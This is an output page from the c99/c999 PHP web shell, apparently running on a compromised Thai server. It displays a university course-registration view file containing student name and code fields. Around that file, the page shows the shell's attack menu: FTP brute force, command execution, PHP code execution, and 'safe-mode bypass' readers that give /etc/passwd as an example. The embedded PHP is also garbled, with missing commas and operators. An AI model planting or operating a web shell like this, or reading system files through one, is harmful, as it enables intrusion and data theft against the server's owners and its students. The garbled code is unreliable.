!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showPreCourse.php (4.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cur 
= isset($qu_cur) ? $qu_cur->row() : NULL;
$row_sy = isset($qu_sy) ? $qu_sy->row() : NULL;
$row_tm = isset($qu_tm) ? $qu_tm->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br>
            <div align="center"><br>
            <?php echo form_open($this->config->item('rg_folder').'checkregis/rd_updateAllowPr', array('id' => 'myform''name' => 'myform'));?>
            <table class="szone">
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">หลักสูตร</td>
                    <td width="80%"><font size="2" color="<?php //echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo getval('curName'$row_cur);?></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">ปีการศึกษาที่รับเข้า</td>
                    <td><font size="2" color="<?php //echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $adY;?></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">ชั้นปีที่</td>
                    <td><font size="2" color="<?php //echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo getval('syCode'$row_sy);?></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">ปีการศึกษา</td>
                    <td><font size="2" color="<?php //echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo $acY;?></font>
                    <input type="hidden" name="acY" value="<?php echo $acY;?>"></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">ภาคการศึกษา</td>
                    <td><font size="2" color="<?php //echo $GLOBALS['COLOR_FONT_4'];?>"><?php echo getval('tmCode'$row_tm);?></font>
                    <input type="hidden" id="tmId" name="tmId" value="<?php echo getval('tmId'$row_tm);?>" /></td>
                </tr>
                <tr>
                    <td colspan="2"><br /></td>
                </tr>
                <tr>
                    <td colspan="2"><table class="headCol">
                        <tr bgcolor="<?php //echo $GLOBALS["COLOR_BG_TABLE_2"];?>">
                            <th class="stdCodeCol">รหัสนักศึกษา</td>
                            <th>ชื่อ-นามสกุลนักศึกษา</td>
                            <th>รายวิชาลงทะเบียน</td>
                            <th>รายวิชาที่ต้องเรียนก่อน</td>
                        </tr>
<?php
                        $num_rows 
count($rs);
                        if (
$num_rows) {
                            foreach (
$rs as $key => $val) {
                                
$row_std = isset($rs[$key]['qu_std']) ? $rs[$key]['qu_std']->row() : NULL;
                                
$row_co = isset($rs[$key]['qu_co']) ? $rs[$key]['qu_co']->row() : NULL;
                                
$row_rf = isset($rs[$key]['rs_rf']) ? $rs[$key]['rs_rf']->row() : NULL;

                                if ((
$key 2) == 0)
                                    echo 
"<tr>";
                                else
                                    
//echo "<tr bgcolor=\"".$GLOBALS["COLOR_BG_TABLE_3"]."\">";
?>
                            <td align="center"><font size="2" color="<?php //echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo getval('stdCode'$row_std);?></font>
                            <input type="hidden" name="rdStdId[<?php echo $key;?>]" value="<?php echo getval('stdId'$row_std);?>" /></td>
                            <td class="indent"><font size="2" color="<?php //echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo getval('prefixName'$row_std).getval('stdName'$row_std).' '.getval('stdSurname'$row_std);?></font></td>
                            <td><font size="2" color="<?php //echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo getval('crsCode'$row_co);?></font>
                            <input type="hidden" name="rdCoId[<?php echo $key;?>]" value="<?php echo getval('coId'$row_co);?>" /></td>
                            <td><font size="2" color="<?php //echo $GLOBALS["COLOR_FONT_4"];?>"><?php echo isset($rs[$key]['prNames']) ? $rs[$key]['prNames'] : '';?></font></td>
                            <td align="center">
<?php
                            
if (getval('rfBalance'$row_rf) > 0) {
?>
                            <input type="checkbox" name="rdAllowPr[<?php echo $key;?>]" value="Y" <?php echo (isset($rs[$key]['rdAllowPr']) && ($rs[$key]['rdAllowPr'] == 'Y')) ? 'checked' '';?> />
<?php
                            
}
?>
                            <input type="hidden" name="rdSeq[<?php echo $key;?>]" value="<?php echo isset($rs[$key]['rdSeq']) ? $rs[$key]['rdSeq'] : '';?>" /></td>
                        </tr>
<?php
                            
}
                        }
?>
                    </table></td>
                </tr>
<?php
                
if ($num_rows == 0) {
?>
                <tr>
                    <td colspan="2" align="center"><span class="error">** ไม่ปรากฏรายการในฐานข้อมูล **</span></td>
                </tr>
<?php
                
}
?>
                <tr>
                    <td colspan="2" align="center"><br/><br/><input type="submit" name="edit" value="บันทึก" <?php echo ($num_rows)  ? '' 'disabled';?> />
                    <input type="reset" name="clear" value="เคลียร์ข้อมูล" />
                    <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = 'prc_check'" />
                    <input type="hidden" name="cnt" value="<?php echo $num_rows;?>" /></td>
                </tr>
            </table><?php echo form_close();?></div>
        <br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0115 ]--